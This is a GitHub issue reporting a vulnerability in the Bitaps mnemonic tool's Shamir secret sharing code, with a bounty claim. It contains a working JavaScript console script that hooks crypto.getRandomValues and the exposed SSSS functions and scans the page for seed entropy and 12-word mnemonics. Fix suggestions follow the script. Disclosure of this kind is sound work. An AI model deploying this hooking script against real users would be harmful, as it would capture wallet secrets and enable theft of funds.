Skip to content

Shamir Secret Sharing - Plaintext Secret Exposure in Browser Memory (Side-Channel) #90

Description

@njfgyts139

Vulnerability Report: Bitaps Mnemonic Tool SSSS Implementation

Summary

The Bitaps mnemonic splitting tool (https://bitaps.com/mnemonic) exposes the complete 128-bit Shamir secret in plaintext within browser memory during split/restore operations. Any co-resident script can intercept the secret without requiring any shares.

Affected Components

  • jsbtc/src/functions/shamir_secret_sharing.js - __split_secret, __shamirFn
  • jsbtc/src/functions/bip39_mnemonic.js - splitMnemonic, combineMnemonic
  • Browser-exposed globals: window.__split_secret, window.share

Severity

CVSS 3.1: 7.1 (High) - AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

  • Attack Vector: Network (via malicious script/XSS/extension)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim uses tool)
  • Confidentiality Impact: High (full wallet entropy)
    To Reproduce
    Steps to reproduce the behavior:
  1. Open https://bitaps.com/mnemonic
  2. Open DevTools Console (F12)
  3. Paste the monitoring script (attached below)
  4. Click "Generate new" → "Split" with any 12-word mnemonic
  5. Observe console output

Monitoring Script

// Bitaps SSSS Side-Channel Attack
// Run in browser console on https://bitaps.com/mnemonic

(function() {
    console.log("=== Bitaps SSSS Side-Channel Attack Started ===");
    
    // Hook crypto.getRandomValues to capture entropy
    const originalGetRandomValues = crypto.getRandomValues.bind(crypto);
    const capturedEntropy = [];
    
    crypto.getRandomValues = function(array) {
        const result = originalGetRandomValues(array);
        capturedEntropy.push({
            timestamp: Date.now(),
            array: Array.from(array),
            stack: new Error().stack
        });
        return result;
    };
    
    // Hook internal SSSS functions if exposed
    const hookFunctions = ['__split_secret', '__restore_secret', '__shamirFn', '__shamirInterpolation'];
    
    for (const fname of hookFunctions) {
        if (window[fname]) {
            const original = window[fname];
            window[fname] = function(...args) {
                console.log(`[HOOK] ${fname} called with:`, JSON.parse(JSON.stringify(args)));
                const result = original.apply(this, args);
                console.log(`[HOOK] ${fname} returned:`, JSON.parse(JSON.stringify(result)));
                return result;
            };
        }
    }
    
    // Scan window for sensitive data
    function scanWindow() {
        const sensitive = [];
        for (const key of Object.keys(window)) {
            try {
                const val = window[key];
                if (val && typeof val === 'object') {
                    if ((val.constructor.name === 'Buffer' || val.constructor.name === 'Uint8Array') && val.length === 16) {
                        sensitive.push({key, type: '16-byte buffer', data: Array.from(val)});
                    }
                    if (typeof val === 'string' && val.split(' ').length === 12) {
                        sensitive.push({key, type: 'mnemonic', data: val});
                    }
                }
            } catch(e) {}
        }
        return sensitive;
    }
    
    // Periodic scan
    setInterval(() => {
        const found = scanWindow();
        if (found.length > 0) console.log("[SCAN] Found:", found);
    }, 1000);
    
    // Manual trigger
    window.ssssAttack = {
        getEntropy: () => capturedEntropy,
        scan: scanWindow,
        stop: () => { crypto.getRandomValues = originalGetRandomValues; }
    };
    
    console.log("Hooks installed. Now use the tool (Generate/Split/Restore) to trigger capture.");
    console.log("Check console for [HOOK] and [SCAN] messages.");
    console.log("Access captured data via: window.ssssAttack.getEntropy()");
})();


**Additional context**
Add any other context about the problem here.
Root Cause Analysis
1.Plaintext secret in __split_secret args - Line 104: secret buffer passed directly
2.Polynomial coefficients exposed - __shamirFn returns [a0, a1, a2] where a0 = secret byte
3.All shares returned simultaneously - splitMnemonic returns complete share set
4.Global persistence - window.share stores last mnemonic
5.No memory sanitization - Buffers never zeroed

Attack Scenarios
Scenario	Feasibility	Impact
Malicious browser extension	       High	         Full wallet compromise
XSS on bitaps.com	                       Medium      Session secret theft
Compromised CDN/dependency      High	         Mass harvesting
Technical support scam	       High	         Social engineering

Recommended Fixes
// 1. Remove global exposure
// DELETE: window.__split_secret = ...
// USE: Module-scoped functions only

// 2. Zero secret after use
secret.fill(0); // After share generation

// 3. Don't return all shares at once
// Yield shares one-by-one via callback

// 4. Clear window.share immediately
delete window.share;

// 5. Add CSP headers
Content-Security-Policy: script-src 'self';

Bounty Claims
Implementation Bug (0.1 BTC): Plaintext secret exposure leading to loss of access
Additional 1 BTC: Attack method disclosure (this report)

BTC Address: bc1qqdnc0gnv5hafcxextw60368s7fmfd4fys4fsat
GitHub: njfgyts139

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions